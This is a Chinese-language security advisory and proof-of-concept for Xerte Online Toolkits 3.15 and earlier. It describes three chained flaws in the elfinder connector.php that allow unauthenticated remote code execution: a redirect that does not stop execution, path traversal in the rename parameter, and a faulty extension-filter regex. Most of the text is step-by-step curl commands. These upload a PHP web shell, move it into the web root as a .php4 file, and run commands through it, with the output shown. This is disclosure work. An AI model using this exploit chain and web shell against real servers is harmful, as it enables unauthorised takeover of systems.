Xerte Online Toolkits 版本 3.15 及更早版本在 /editor/elfinder/php/connector.php 组件中存在 3 个漏洞,未经身份验证的攻击者可将这些漏洞串联起来实现远程代码执行(RCE)。
Xerte Online Toolkits <= 3.15
后移植补丁已应用于版本 3.15、3.14 和 3.13
未经身份验证的用户可以向 /editor/elfinder/php/connector.php 的 connector 组件发起请求。
以下代码用作访问控制。
文件:/editor/elfinder/php/connector.php 行号:35
if (!isset($_SESSION['toolkits_logon_id'])){
header("location: ../../../index.php");
}
这将重定向未经身份验证的用户,阻止他们接收未验证请求的响应,但这并不会终止会话,后续代码仍会执行。
*需要攻击者知道他们要移动的文件的文件名
攻击者可以操纵向 connector.php 端点发出的“rename”请求中的“name”参数。这允许攻击者利用现有目录将文件移出用户的媒体目录。
由于 connector.php 文件扩展名过滤正则表达式中的错误,攻击者可以利用同一版本 Xerte 中存在的路径遍历漏洞,将带有恶意 PHP 代码的文件以 .php4 扩展名移动到应用程序根目录。
文件:/editor/elfinder/php/connector.php 行号:130
array( // 隐藏 readme 文件
'pattern' => '/(readme\.txt)|\.(html|php|php5|php*|phtml|phar|inc|py|pl|sh)$/i',
'read' => false,
php* 正则表达式仅匹配前一个字符。因此它会匹配以下内容:“ph”、“php”、“phppp”等。
如果启用了身份验证(这不是 Xerte 的默认配置),那么攻击者必须知道(或暴力破解出)有效用户的用户名。如果使用访客身份验证(默认),那么目标项目目录将只是 1--Nottingham。
未经身份验证的攻击者可以在任何 USER-FILES/ 下的项目目录中创建目录“example_dir”并上传包含恶意 PHP 代码的“file.txt”文件。
然后,他们可以利用 Xerte 中存在的相对路径遍历和允许输入的不完整列表漏洞,通过将上传的文件名更改为“example_dir/../../../../file.php4”,将 file.txt 作为“file.php4”移动到应用程序根目录,从而实现远程代码执行。
curl 'http://localhost/xt/setup'
请求参数: uploadDir:应用程序根目录 + USER-FILES/{项目 id}-{用户}-Nottingham/ uploadURL:项目目录的 URL cmd:mkdir name:新目录的名称 target:media/ 目录的 elfinder id。由于这是 elfinder 根目录,它将始终为 “l1_Lw”
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=mkdir&name=folder1&target=l1_Lw'
*有效负载中的
标签可防止 elfinder MIME 类型过滤器检测 PHP 代码。
请求参数: uploadDir:应用程序根目录 + USER-FILES/{项目 id}-{用户}-Nottingham/ uploadURL:项目目录的 URL cmd:upload target:media/ 目录的 elfinder id。由于这是 elfinder 根目录,它将始终为 “l1_Lw” upload[]:要上传的文件。
echo '<br><?php system($_GET["cmd"]); ?>' > file.txt
curl -X POST 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/' \
-F 'cmd=upload' \
-F 'target=l1_Lw' \
-F "upload[][email protected];type=text/plain"
echo -n 'file.txt' | base64
ZmlsZS50eHQ=
确保修剪掉填充字符,此处仅为 “=”
添加卷标识符。这始终为 “l1”(对应 “/”)
结果:l1_ZmlsZS50eHQ
请求参数:
uploadDir:应用程序根目录 + USER-FILES/{项目 id}-{用户}-Nottingham/
uploadURL:项目目录的 URL
cmd:rename
name:目录名称、路径遍历序列以及带有 .php4 扩展名的新文件名
target:我们从新文件生成的 elfinder id l1_ZmlsZS50eHQ
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=rename&name=folder1%2F..%2F..%2F..%2F..%2Fs.php4&target=l1_ZmlsZS50eHQ'
请求参数: cmd:要执行的命令
curl http://localhost/xt/s.php4?cmd=id
<br>uid=1(daemon) gid=1(daemon) groups=1(daemon)